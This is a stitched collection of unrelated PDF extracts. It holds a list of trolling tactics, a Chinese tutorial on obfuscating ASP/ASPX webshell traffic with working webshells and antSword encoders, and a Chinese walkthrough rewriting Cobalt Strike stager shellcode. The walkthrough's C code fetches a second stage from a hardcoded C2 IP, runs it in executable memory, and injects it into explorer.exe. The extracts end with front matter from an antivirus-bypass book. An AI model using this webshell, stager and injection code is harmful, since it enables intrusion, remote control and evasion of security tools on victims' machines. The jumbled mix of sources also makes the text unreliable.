• Counter Trolling
• Lulz or Retroactive Proof of Concept
• Lulz or Proof of Concept
• Attention Hacking
• Critical Trolling
• Cognitive Denial of Service
• Ruin Life Campaign
• Attention Hacking
• Weaponized Irony
• Jiu Jitsu
• Source Hacking
• Attention Hacking
• Lulz?
• Brute Force Provocation
• News Spamming / Counter Framing
• Concern Trolling
• Concern Trolling
• Denial of Service / Harassment
• Concern Trolling / Ethnography
• Politics of Spectacle
• Approved Trolling
• Humor as Incidental Troll | pdf |
ASP/ASPX下的流量混淆
前言
今天谈一谈ASP/ASPX下的流量混淆姿势。
以执行 Response.Write("yzddmr6") 为例。
不带eval的普通编码方式
Unicode(asp/aspx)
利用iis解析unicode的特性,我们可以像sql的bypass一样来用unicode编码绕过。
mr6=Response.Write("yzddmr6")
蚁剑中aspx类型shell默认有unicode编码器,但是asp中没有,可以自己手动添加一份。
大小写(asp)
asp对于大小写不敏感,所以可以对payload中的字符进行大小写变换。
mr6=REsponSe.WriTe("yzddmr6")
要注意的是aspx对大小写敏感,改变大小写之后会500。
添加百分号(asp)
熟悉sql注入bypass的同学应该知道,iis+asp允许在每个字符前加一个 % ,此处同理。
mr6=R%e%sp%o%n%se.w%ri%te("yzddmr6")
带eval的普通编码方式
有eval的情况下,无非是找找字符串变换函数来回套娃。
ASCII码(asp/aspx)
asp下用chr函数+&连接
aspx下用String.fromCharCode+逗号连接
字符拆分(asp/aspx)
asp下用 & 连接字符串,demo同 chr函数 。
aspx用 + 或者 concat 函数连接字符串
mr6=eval('Respons'%2B'e.Write("yzddmr6")',"unsafe")
mr6=eval('Respons'.concat('e.Write("yzddmr6")'),"unsafe")
mr6=eval(chr(82)%26chr(101)%26chr(115)%26chr(112)%26chr(111)%26chr(110)%26chr(11
5)%26chr(101)%26chr(46)%26chr(87)%26chr(114)%26chr(105)%26chr(116)%26chr(101)%26
chr(40)%26chr(34)%26chr(121)%26chr(122)%26chr(100)%26chr(100)%26chr(109)%26chr(1
14)%26chr(54)%26chr(34)%26chr(41))
mr6=eval(String.fromCharCode(82,101,115,112,111,110,115,101,46,87,114,105,116,10
1,40,34,121,122,100,100,109,114,54,34,41),"unsafe")
Base64编码(aspx)
Url编码(asp)
asp
非常规shell下的编码
以上都是针对于基础类型的shell的流量混淆方法,如果不在最外层再套娃一次的话还是很容易被识别,
这里给出几个demo。
base64_bypass(aspx)
shell
可以按照https://yzddmr6.tk/posts/webshell-venom-aspx/ 这篇文章做一下免杀
base64_bypass编码器
mr6=eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase
64String("UmVzcG9uc2UuV3JpdGUoInl6ZGRtcjYiKTs=")),"unsafe");
eval(unescape("%25%35%32%25%36%35%25%37%33%25%37%30%25%36%66%25%36%65%25%37%33%2
5%36%35%25%32%65%25%35%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%32%
25%37%39%25%37%61%25%36%34%25%36%34%25%36%64%25%37%32%25%33%36%25%32%32%25%32%39
"))
<%@ Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64
String(Request.Item["mr6"])),"unsafe");%>
//
// aspx::base64_bypass 编码模块
// 把所有参数都进行base64编码
// author:yzddmr6
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID =
`${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] =
Buffer.from(`eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert
.FromBase64String(Request.Item["${randomID}"])),"unsafe");`).toString('base64');
delete data['_'];
url_bypass(asp)
shell
url_bypass编码器
return data;
}
<%execute(unescape(request("mr6")))%>
/**
* asp::url_bypass 编码器
* 双重url编码
* author: yzddmr6
* <%execute(unescape(request("mr6")))%>
*/
'use strict';
module.exports = (pwd, data) => {
function str2url(str) {
var ret = "";
for (var i = 0; i < str.length; i++) {
ret += "%"+str[i].charCodeAt().toString(16);
}
return ret;
}
data[pwd] = `asunescape(${str2url(str2url(data['_']))})`;
delete data['_'];
return data;
}
最后
个人推荐的做法还是类似随机cookie编码器那种一次一密的做法,不过可能asp/aspx实现起来不像php
那么方便,有空了研究一下。
上面所提到的编码方式可以相互套娃,效果可能更佳。
如果其他想法后面再补上,此贴长期更新。 | pdf |
CS的shellcode功能分析和代码重写实战
前⾔
随着圈⼦⾥的新⼈越来越多,我准备从这⼀篇开始慢慢写⼀些与基础知识相关的⽂章,⽅便
⼀些对⼆进制安全知识了解不多的同学参考。虽然讲的还是基础知识,但是我也尽量写的实
⽤和有趣⼀点,防⽌与⽹上的⽂章出现同质化问题。
这篇要讲的问题是由上⼀篇⽂章 滥⽤具备RWX-S权限且有签名的dll进⾏⽆感知的shellcode
注⼊引出的,有同学问我为什么接收 metepreter 第⼆阶段的恶意代码需要那样写,本篇⽂
章就回答这个问题。
另外⾮常欢迎各位同学在圈⼦⾥提问,能为基础知识板块的编写提供更多素材
CS的shellcode功能分析
我们这⾥讲的其实是stage类型的shellcode,为了⽅便调试从cs中获取出这⼀段代码,我们
需要把它编译成exe,由于我是 *nix 系统,这⾥就⽤ nasm 进⾏编译,⽤ x86_64-w64-min
gw32-ld 进⾏链接⽣成exe。
编写 start.asm 如下:
然后编译连接:
测试⼀下可以上线,接下来⽤ida打开分析⼀下执⾏逻辑
开头就是⼀个 call ,跟进去简单看⼀下代码逻辑:
nasm -f win64 start.asm -o prog1.o
x86_64-w64-mingw32-ld prog1.o -o prog1.exe
1
2
看到pop了 rbp ,然后 call rbp ,显然这个函数的作⽤是把 call 的下⼀条指令作为函数
进⾏调⽤,我们定义⼀下这个函数,然后仔细阅读⼀下,我对所有的代码都打了注释,这个
函数包含了核⼼代码。
.text:000000014000100A call_function_with_hash proc
near
.text:000000014000100A
.text:000000014000100A var_38 = qword ptr -38h
.text:000000014000100A
.text:000000014000100A push r9
.text:000000014000100C push r8
.text:000000014000100E push rdx
.text:000000014000100F push rcx
.text:0000000140001010 push rsi
.text:0000000140001011 xor rdx, rdx
.text:0000000140001014 mov rdx, gs:
[rdx+60h] ; 获取 PEB
.text:0000000140001019 mov rdx,
[rdx+18h] ; 获取 Ldr
.text:000000014000101D mov rdx,
[rdx+20h] ; 获取 InMemoryOrderModuleList
.text:0000000140001021
.text:0000000140001021 loc_140001021:
; CODE XREF: call_function_with_hash+C3↓j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000140001021 mov rsi,
[rdx+50h] ; 获取第⼀个dll的BaseDllName
.text:0000000140001025 movzx rcx,
word ptr [rdx+4Ah] ; 获取 BaseDllName unicode_string 的
max_length
.text:000000014000102A xor r9, r9
.text:000000014000102D
.text:000000014000102D loc_14000102D:
; CODE XREF: call_function_with_hash+34↓j
.text:000000014000102D xor rax, rax
.text:0000000140001030 lodsb
.text:0000000140001031 cmp al, 61h
; 'a'
.text:0000000140001033 jl short
loc_140001037
.text:0000000140001035 sub al, 20h
; ' '
.text:0000000140001037
.text:0000000140001037 loc_140001037:
; CODE XREF: call_function_with_hash+29↑j
.text:0000000140001037 ror r9d, 0Dh
.text:000000014000103B add r9d, eax
.text:000000014000103E loop
loc_14000102D ; 计算 hash
.text:0000000140001040 push rdx
.text:0000000140001041 push r9
.text:0000000140001043 mov rdx,
[rdx+20h] ; 获取Dllbase
.text:0000000140001047 mov eax,
[rdx+3Ch] ; 获取 Pe 的 nt_header
.text:000000014000104A add rax, rdx
.text:000000014000104D cmp word ptr
[rax+18h], 20Bh ; ⽐较是不是 pe64
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:0000000140001053 jnz short
loc_1400010C7
.text:0000000140001055 mov eax,
[rax+88h] ; 获取导出表
.text:000000014000105B test rax, rax
.text:000000014000105E jz short
loc_1400010C7
.text:0000000140001060 add rax, rdx
; 获取导出表的地址
.text:0000000140001063 push rax
.text:0000000140001064 mov ecx,
[rax+18h] ; NumberOfNames
.text:0000000140001067 mov r8d,
[rax+20h] ; AddressOfNames
.text:000000014000106B add r8, rdx
.text:000000014000106E
.text:000000014000106E loc_14000106E:
; CODE XREF: call_function_with_hash+8A↓j
.text:000000014000106E jrcxz
loc_1400010C6
.text:0000000140001070 dec rcx
.text:0000000140001073 mov esi,
[r8+rcx*4] ; 存储函数名称地址
.text:0000000140001077 add rsi, rdx
.text:000000014000107A xor r9, r9
.text:000000014000107D
.text:000000014000107D loc_14000107D:
; CODE XREF: call_function_with_hash+80↓j
.text:000000014000107D xor rax, rax
.text:0000000140001080 lodsb
.text:0000000140001081 ror r9d, 0Dh
.text:0000000140001085 add r9d, eax
.text:0000000140001088 cmp al, ah
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
.text:000000014000108A jnz short
loc_14000107D
.text:000000014000108C add r9,
[rsp+40h+var_38]
.text:0000000140001091 cmp r9d,
r10d
.text:0000000140001094 jnz short
loc_14000106E ; 遍历导出表
.text:0000000140001096 pop rax
.text:0000000140001097 mov r8d,
[rax+24h]
.text:000000014000109B add r8, rdx
.text:000000014000109E mov cx,
[r8+rcx*2]
.text:00000001400010A3 mov r8d,
[rax+1Ch]
.text:00000001400010A7 add r8, rdx
.text:00000001400010AA mov eax,
[r8+rcx*4]
.text:00000001400010AE add rax, rdx
; 存储获取的函数地址
.text:00000001400010B1 pop r8
.text:00000001400010B3 pop r8
.text:00000001400010B5 pop rsi
.text:00000001400010B6 pop rcx
.text:00000001400010B7 pop rdx
.text:00000001400010B8 pop r8
.text:00000001400010BA pop r9
.text:00000001400010BC pop r10
.text:00000001400010BE sub rsp, 20h
.text:00000001400010C2 push r10
.text:00000001400010C4 jmp rax
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
主要功能就是遍历当前的模块的导出表,根据提供的函数hash找到对应函数,然后jmp过
去。Hash函数的python实现⼤概如下:
.text:00000001400010C6 ; ------------------------------
---------------------------------------------
.text:00000001400010C6
.text:00000001400010C6 loc_1400010C6:
; CODE XREF:
call_function_with_hash:loc_14000106E↑j
.text:00000001400010C6 pop rax
.text:00000001400010C7
.text:00000001400010C7 loc_1400010C7:
; CODE XREF: call_function_with_hash+49↑j
.text:00000001400010C7
; call_function_with_hash+54↑j
.text:00000001400010C7 pop r9
.text:00000001400010C9 pop rdx
.text:00000001400010CA mov rdx,
[rdx]
.text:00000001400010CD jmp
loc_140001021 ; 获取第⼀个dll的BaseDllName
.text:00000001400010CD call_function_with_hash endp
83
84
85
86
87
88
89
90
91
92
93
94
def ror(number,bits):
return ( (number >> bits) | (number << ( 32 - bits
)) ) & 0xFFFFFFFF
def calc_sum(data,cast=False):
sum = 0
for i in data:
c = 0
if cast:
c = i - 0x20 if i >= ord('a') else i
else:
1
2
3
4
5
6
7
8
9
10
我们不再这⾥浪费太多篇幅,直接在这个函数的 jmp rax 上下断点,使⽤x64dbg进⾏调试,
把调⽤过的函数都记录下来,结果如下:
c = i
sum = ror( sum,0xd)
sum += c
return sum
def Hash(dllname,funcname):
dllname += '\x00'
dllname = dllname.encode('utf-16le')
funcname += '\x00'
funcname = funcname.encode('utf-8')
return (calc_sum(dllname,True)+calc_sum(funcname) )
& 0xFFFFFFFF
c = Hash('kernel32.dll','LoadLibraryA')
print(hex(c))
11
12
13
14
15
16
17
18
19
20
21
22
23
24
之后就是jmp到 VirtualAlloc 的出来的这段地址上运⾏了。
可以看到这段代码的运⾏效率其实是⽐较低的,每调⽤⼀次函数就会遍历⼀遍当前所有模块
的所有导出函数,但是为了减少shellcode的体积,这么做也是值的的。
下⾯就开始进⼊了本⽂的重点内容,对上⾯这⼀段代码进⾏重写。如果我们还是按照上⾯的
思路编写shellcode,那其实毫⽆意义,因为随便找个shellcode框架就可以⽣成了,我们接
下来换⼀种实现思路。
代码实现
⾸先我们知道,在⼀个windows系统开机之后,所有进程加载的 ntdll.dll , kernel32.dl
l , user32.dll 的基址是相同的,这是由于windows内部的某些特定机制决定的,这⾥就不
再展开细讲了。基于这个原理,⼀些函数的固定的函数地址完全可以在当前进程中获取,然
后作为参数传给shellcode执⾏,废话不多说,直接看代码。
⾸先定义要传⼊shellcode函数的数据结构,并对这个结构进⾏赋值:
kernel32.LoadLibraryA("wininet")
rax = wininet.InternetOpenA(NULL,NULL,NULL,NULL,NULL)
wininet.InternetConnectA(rax,ip,port,NULL,NULL,0x3,0,0)
wininet.HttpOpenRequestA(rax,NULL,"/4v9z",NULL,NULL,NULL
,0x84400200,NULL)
wininet.HttpSendRequestA(rax,"User-Agent: Mozilla/4.0
(compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0)\r\n",-1,NULL,0);
kernel32.VirtualAlloc(0,0x400000,0x1000,0x40 )
wininet.InternetReadFile(rcx,rdx,0x2000,rsp)
1
2
3
4
5
6
7
typedef struct _SHELLDATA
{
pVirtualAlloc fnVirtualAlloc;
1
2
3
pLoadLibraryA fnLoadLibraryA;
pGetProcAddress fnGetProcAddress;
char wininet[15];
char InternetOpenA[15];
char InternetConnectA[18];
char HttpOpenRequestA[18];
char HttpSendRequestA[18];
char InternetReadFile[18];
INTERNET_PORT port;
char ip[15];
char path[10];
char ua[80];
}SHELLDATA, * PSHELLDATA;
// 对数据进⾏赋值
HMODULE kernel32 = GetModuleHandleA("kernel32");
FARPROC fnVirtualAlloc =
GetProcAddress(kernel32,"VirtualAlloc");
FARPROC fnLoadLibraryA =
GetProcAddress(kernel32,"LoadLibraryA");
FARPROC fnGetProcAddress =
GetProcAddress(kernel32,"GetProcAddress");
SHELLDATA shelldata = {
(pVirtualAlloc)fnVirtualAlloc,
(pLoadLibraryA)fnLoadLibraryA,
(pGetProcAddress)fnGetProcAddress,
"wininet",
"InternetOpenA",
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
接下来定义作为shellcode执⾏的函数:
"InternetConnectA",
"HttpOpenRequestA",
"HttpSendRequestA",
"InternetReadFile",
80,
"39.107.29.229",
"/4v9z",
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0)\r\n"
};
34
35
36
37
38
39
40
41
42
void shellcode(SHELLDATA * pfunc_start) {
HMODULE wininet = pfunc_start-
>fnLoadLibraryA(pfunc_start->wininet);
pInternetOpenA fnInternetOpenA =
(pInternetOpenA)pfunc_start->fnGetProcAddress(wininet,
pfunc_start->InternetOpenA);
pInternetConnectA fnInternetConnectA =
(pInternetConnectA)pfunc_start-
>fnGetProcAddress(wininet, pfunc_start-
>InternetConnectA);
pHttpOpenRequestA fnHttpOpenRequestA =
(pHttpOpenRequestA)pfunc_start-
>fnGetProcAddress(wininet, pfunc_start-
>HttpOpenRequestA);
pHttpSendRequestA fnHttpSendRequestA =
(pHttpSendRequestA)pfunc_start-
>fnGetProcAddress(wininet, pfunc_start-
>HttpSendRequestA);
1
2
3
4
5
6
7
pInternetReadFile fnInternetReadFile =
(pInternetReadFile)pfunc_start-
>fnGetProcAddress(wininet, pfunc_start-
>InternetReadFile);
HINTERNET hin = fnInternetOpenA(NULL, NULL, NULL,
NULL, NULL);
HINTERNET session = fnInternetConnectA(hin,
pfunc_start->ip, pfunc_start->port, NULL, NULL, 0x3, 0,
0);
HINTERNET req = fnHttpOpenRequestA(session, NULL,
pfunc_start->path, NULL, NULL, NULL, 0x84400200, NULL);
while (TRUE) {
BOOL status = fnHttpSendRequestA(req, pfunc_start-
>ua, -1, NULL, 0);
if (status)
break;
SleepEx(1000,FALSE);
}
LPVOID addr = pfunc_start->fnVirtualAlloc(0,
0x400000, 0x1000, 0x40);
DWORD size = 0;
LPVOID lpbuff = addr;
while (TRUE) {
BOOL status = fnInternetReadFile(req, lpbuff,
0x2000, &size);
//printf("[*] size: %d \n", size);
if (status && size < 0x2000) {
break;
}
else {
lpbuff = (LPVOID)((UINT64)lpbuff + size);
}
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
最后再 main 函数中进⾏调⽤:
那这段代码要怎么才能像真正的shellcode⼀样,在其他进程的进程空间中执⾏呢?
我们参考shellcode注⼊相关的⽅法,https://github.com/knownsec/shellcodeloader
接下来只演示两种⽅式,分别是 CreateRemoteThread 以及 QueueUserAPC 。
CreateRemoteThread注⼊⽅法
使⽤ CreateRemoteThread 进⾏注⼊⾮常简单,看它的定义如下:
}
((void(*)())addr)();
}
31
32
33
int WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd
) {
shellcode(&shelldata);
return 0;
}
1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
1
2
3
4
5
6
7
8
9
线程函数其实是接受⼀个指针类型的参数 lpParameter ,我们只需要这个参数⾥保存 shel
ldata 的指针即可,另外不要忘记把 shelldata 写到⽬标进程中,代码示例如下:
可以看到代码已经注⼊并执⾏成功,cs上已经成功上线。
DWORD pid = getPID("explorer.exe");
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pid);
SIZE_T remoteBuffer = (SIZE_T)VirtualAllocEx(process,
NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
SIZE_T size = 0;
WriteProcessMemory(process, (LPVOID)remoteBuffer,
&shelldata, sizeof(shelldata), &size);
WriteProcessMemory(process, (LPVOID)
(remoteBuffer+size), shellcode , (SIZE_T)shellcode_end -
(SIZE_T)shellcode , NULL);
CreateRemoteThread(process, NULL, 0,
(LPTHREAD_START_ROUTINE)(remoteBuffer + size),
(LPVOID)remoteBuffer, 0, NULL);
CloseHandle(process);
1
2
3
4
5
6
7
8
9
QueueUserAPC注⼊⽅法
QueueUserAPC 进⾏注⼊的核⼼是如下代码:
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS,
TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
1
2
我们向⽬标进程中写⼊的 apcRoutine 作为 PAPCFUNC 被调⽤,看⼀下 PAPCFUNC 的定义:
虽然这个函数也接受⼀个指针参数,但是这个参数的值是不受我们控制的,⽆法把相关的数
据传递给这个函数。不过这都不是什么难事,我们接下来⼀步步的来解决这个问题
⾸先这⾥要求 apcRoutine 是⼀个单参数的函数,但是如果我们提供⼀个有两个参数的函
数,这样肯定也是不会有问题的,但是问题是第⼆个参数并不会被 caller 初始化,如果
是 x86_64 ,那就是寄存区 rdx 不会被存储有效值。
那我们能不能在调⽤函数之前,⾃⼰初始化⼀下rdx,让rdx指向shelldata?具体要怎么做
呢,想⼀下内存布局
初始化rdx时,需要先获取当前的 rip来做⾃定位,在x64平台上获取rip可以直接⽤指令 lea r
dx,[rip] ,所以初始化rdx的汇编代码就是:
只要运⾏完这两条指令,rdx就指向了shelldata。那接下来 shellcode 函数就可以使⽤rdx作
为⾃⼰的第⼆个参数了,所以需要将shellcode的函数定义修改为:
然后写如下代码就可以实现APC注⼊:
lea rdx,[rip]
sub rdx,(0x7+sizeof(shelldata))
1
2
void shellcode(LPVOID param,SHELLDATA * pfunc_start);
1
DWORD pid = getPID("explorer.exe");
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pid);
SIZE_T remoteBuffer = (SIZE_T)VirtualAllocEx(process,
NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
SIZE_T sum_size = 0;
SIZE_T size = 0;
WriteProcessMemory(process, (LPVOID)remoteBuffer,
&shelldata, sizeof(shelldata), &size);
sum_size += size;
BYTE code[]= {
0x48,0x8d,0x15,0x0,0x0,0x0,0x0, // lea rdx,
[rip]
0x48,0x81,0xea,0xf7,0x0,0x0,0x0, // sub rdx,
(0x7+sizeof( shelldata ))
0x90,0x90 //nop
};
WriteProcessMemory(process, (LPVOID)(remoteBuffer +
sum_size), code, sizeof(code), &size);
sum_size += size;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
看⼀看⼀下写⼊之后的代码如下:
WriteProcessMemory(process, (LPVOID)(remoteBuffer+
sum_size), shellcode, (SIZE_T)shellcode_end -
(SIZE_T)shellcode , NULL);
THREADENTRY32 te32;
te32.dwSize = sizeof(te32);
HANDLE Snapshot_thread =
CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (Snapshot_thread != INVALID_HANDLE_VALUE)
{
if (Thread32First(Snapshot_thread, &te32))
{
do
{
if (te32.th32OwnerProcessID == pid)
{
//return te32.th32ThreadID;
HANDLE threadHandle =
OpenThread(THREAD_ALL_ACCESS, TRUE, te32.th32ThreadID);
QueueUserAPC((PAPCFUNC)(remoteBuffer +
sizeof(shelldata)), threadHandle, NULL);
}
} while (Thread32Next(Snapshot_thread, &te32));
}
}
CloseHandle(Snapshot_thread);
CloseHandle(process);
Sleep(1000 * 60*30);
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
最后编译选项啥的不要忘记了,之前的⽂章讲过的,不再细说了。 | pdf |
Antivirus Bypass
Techniques
Learn practical techniques and tactics to combat,
bypass, and evade antivirus software
Nir Yehoshua
Uriel Kosayev
BIRMINGHAM—MUMBAI
Antivirus Bypass Techniques
Copyright © 2021 Packt Publishing
All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or
transmitted in any form or by any means, without the prior written permission of the publisher,
except in the case of brief quotations embedded in critical articles or reviews.
Every effort has been made in the preparation of this book to ensure the accuracy of the
information presented. However, the information contained in this book is sold without warranty,
either express or implied. Neither the authors, nor Packt Publishing or its dealers and distributors,
will be held liable for any damages caused or alleged to have been caused directly or indirectly by
this book.
Packt Publishing has endeavored to provide trademark information about all of the companies
and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing
cannot guarantee the accuracy of this information.
Group Product Manager: Wilson Dsouza
Publishing Product Manager: Mohd Riyan Khan
Senior Editor: Rahul Dsouza
Content Development Editor: Sayali Pingale
Technical Editor: Sarvesh Jaywant
Copy Editor: Safis Editing
Project Coordinator: Ajesh Devavaram
Proofreader: Safis Editing
Indexer: Pratik Shirodkar
Production Designer: Alishon Mendonca
First published: June 2021
Production reference: 1180721
Published by Packt Publishing Ltd.
Livery Place
35 Livery Street
Birmingham
B3 2PB, UK.
978-1-80107-974-7
www.packt.com
Recommendation
"Antiviruses have always been a hindrance for threat actors and red
teamers. The book Antivirus Bypass Techniques illustrates various
techniques that attackers can use to evade antivirus protection. This book is
a must-read for red teamers."
– Abhijit Mohanta, author of Malware analysis and Detection Engineering
and Preventing Ransomware
Contributors
About the authors
Nir Yehoshua is an Israeli security researcher with more than 8 years of experience in
several information security fields.
His specialties include vulnerability research, malware analysis, reverse engineering,
penetration testing, and incident response.
He is an alumnus of an elite security research and incident response team in the Israel
Defense Forces.
Today, Nir is a full-time bug bounty hunter and consults for Fortune 500 companies,
aiding them in detecting and preventing cyber-attacks.
Over the years, Nir has discovered security vulnerabilities in several companies, including
FACEIT, Bitdefender, McAfee, Intel, Bosch, and eScan Antivirus, who have mentioned
him in their Hall of Fame.
Special thanks to my mentor, Shay Rozen, for supporting this book in many
ways.
I've known Shay from my earliest days in the cybersecurity field and have
learned a lot from him about security research, cyber intelligence, and red
teaming. I can gladly say that Shay gave me the gift of the "hacker mindset,"
and for that I am grateful.
Thanks, Shay; I'm honored to know you.
Uriel Kosayev is an Israeli security researcher with over 8 years of experience in
the information security field. Uriel is also a lecturer who has developed courses in
the cybersecurity field. Uriel has hands-on experience in malware research, reverse
engineering, penetration testing, digital forensics, and incident response. During his army
service, Uriel worked to strengthen an elite incident response team in both practical and
methodological ways. Uriel is the founder of TRIOX Security, which today provides red
team and blue team security services along with custom-tailored security solutions.
Big thanks to Yaakov (Yaki) Ben-Nissan for all of these years, Yaki is a great
man with much passion and professionalism. These two characteristics
make him who he is: a true hero and a true mentor. To me, you are more
than just a mentor or teacher.
Thanks for being always there for me, with all my love and respect.
Reviewer
Andrey Polkovnichenko
Preface
Section 1: Know the Antivirus – the Basics
Behind Your Security Solution
1
Introduction to the Security Landscape
Understanding the security
landscape
4
Defining malware
5
Types of malware
6
Exploring protection systems
7
Antivirus – the basics
8
Antivirus bypass in a nutshell
11
Summary
13
2
Before Research Begins
Technical requirements
16
Getting started with the research 16
The work environment and lead
gathering
16
Process
17
Thread
18
Registry
18
Defining a lead
20
Working with Process Explorer
20
Working with Process Monitor
26
Working with Autoruns
32
Working with Regshot
33
Third-party engines
36
Summary
37
Table of Contents
viii Table of Contents
3
Antivirus Research Approaches
Understanding the approaches
to antivirus research
40
Introducing the Windows
operating system
40
Understanding protection rings 42
Protection rings in the Windows
operating system
43
Windows access control list
45
Permission problems in
antivirus software
47
Insufficient permissions on the static
signature file
47
Improper privileges
47
Unquoted Service Path
48
DLL hijacking
49
Buffer overflow
50
Stack-based buffer overflow
51
Buffer overflow – antivirus bypass
approach
51
Summary
51
Section 2: Bypass the Antivirus – Practical
Techniques to Evade Antivirus Software
4
Bypassing the Dynamic Engine
Technical requirements
56
The preparation
56
Basic tips for antivirus bypass research
57
VirusTotal
58
VirusTotal alternatives
61
Antivirus bypass using process
injection
63
What is process injection?
63
Windows API
66
Classic DLL injection
71
Process hollowing
72
Process doppelgänging
75
Process injection used by threat actors
77
Antivirus bypass using a DLL
81
PE files
81
PE file format structure
82
The execution
83
Table of Contents ix
Antivirus bypass using timing-
based techniques
85
Windows API calls for antivirus bypass
85
Memory bombing – large memory
allocation
90
Summary
95
Further reading
96
5
Bypassing the Static Engine
Technical requirements
98
Antivirus bypass using
obfuscation
98
Rename obfuscation
99
Control-flow obfuscation
104
Introduction to YARA
105
How YARA detects potential malware
105
How to bypass YARA
109
Antivirus bypass using
encryption
117
Oligomorphic code
118
Polymorphic code
118
Metamorphic code
120
Antivirus bypass using packing 121
How packers work
121
The unpacking process
121
Packers – false positives
140
Summary
141
6
Other Antivirus Bypass Techniques
Technical requirements
144
Antivirus bypass using binary
patching
144
Introduction to debugging / reverse
engineering
144
Timestomping
157
Antivirus bypass using junk
code
159
Antivirus bypass using
PowerShell
161
Antivirus bypass using a single
malicious functionality
163
The power of combining several
antivirus bypass techniques
168
An example of an executable before
and after peCloak
169
x Table of Contents
Antivirus engines that we have
bypassed in our research
172
Summary
173
Further reading
174
Section 3: Using Bypass Techniques in the
Real World
7
Antivirus Bypass Techniques in Red Team Operations
Technical requirements
178
What is a red team operation? 178
Bypassing antivirus software in
red team operations
179
Fingerprinting antivirus
software
180
Summary
186
8
Best Practices and Recommendations
Technical requirements
188
Avoiding antivirus bypass
dedicated vulnerabilities
189
How to avoid the DLL hijacking
vulnerability
189
How to avoid the Unquoted Service
Path vulnerability
190
How to avoid buffer overflow
vulnerabilities
191
Improving antivirus detection
192
Dynamic YARA
192
The detection of process injection
197
Script-based malware detection with
AMSI
207
Secure coding
recommendations
211
Self-protection mechanism
212
Plan your code securely
212
Do not use old code
212
Input validation
212
PoLP (Principle of Least Privilege)
213
Compiler warnings
213
Automated code testing
213
Wait mechanisms – preventing race
conditions
213
Integrity validation
213
Summary
214
Why subscribe?
215
Other Books You May Enjoy
Index
Preface
This book was created based on 2 and a half years of researching different kinds of
antivirus software.
Our goal was to actually understand and evaluate which, and how much, antivirus
software provides good endpoint protection. We saw in our research a lot of interesting
patterns and behaviors regarding antivirus software, how antivirus software is built, its
inner workings, and its detection or lack of detection rates.
As human beings and creators, we create beautiful and smart things, with a lot of
intelligence behind us, but as we already know, the fact – the hard fact – is that there is no
such thing as perfect, and antivirus software is included in that. As we as humans develop,
evolve, learn from our mistakes, try, fail, and eventually succeed with the ambition of
achieving perfection, so we believe that antivirus software and other protection systems
need to be designed in a way that they can adapt, learn, and evolve against ever-growing
cyber threats.
This is why we created this book, where you will understand the importance of growing
from self-learning, by accepting the truth that there is no 100-percent-bulletproof security
solutions and the fact that there will always be something to humbly learn from, develop,
and evolve in order to provide the best security solution, such as antivirus software.
By showing you how antivirus software can be bypassed, you can learn a lot about it,
from it, and also make it better, whether it is by securing it at the code level against
vulnerability-based bypasses or by writing better detections in order to prevent detection-
based antivirus bypasses as much as possible.
While reading our book, you will see cases where we bypassed a lot of antivirus software,
but in fact, this does not necessarily suggest that the bypassed antivirus software is not
good, and we do not give any recommendations for any specific antivirus software in this
book.
xii Preface
Who this book is for
This book is aimed at security researchers, malware analysts, reverse engineers,
penetration testers, antivirus vendors who are interested in strengthening their detection
capabilities, antivirus users, companies who want to test and evaluate their antivirus
software, organizations that want to test and evaluate their antivirus software before
purchase or acquisition, and other technology-oriented individuals who want to learn
about new topics.
What this book covers
Chapter 1, Introduction to the Security Landscape, introduces you to the security
landscape, the types of malware, the protection systems, and the basics of antivirus
software.
Chapter 2, Before Research Begins, teaches you how to gather antivirus research leads with
well-known dynamic malware analysis tools in order to bypass antivirus software.
Chapter 3, Antivirus Research Approaches, introduces you to the antivirus bypass
approaches of vulnerability-based antivirus bypass and detection-based antivirus bypass.
Chapter 4, Bypassing the Dynamic Engine, demonstrates the three antivirus dynamic
engine bypass techniques of process injection, dynamic link library, and timing-based
bypass.
Chapter 5, Bypassing the Static Engine, demonstrates the three antivirus static engine
bypass techniques of obfuscation, encryption, and packing.
Chapter 6, Other Antivirus Bypass Techniques, demonstrates more antivirus bypass
techniques – binary patching, junk code, the use of PowerShell to bypass antivirus
software, and using a single malicious functionality.
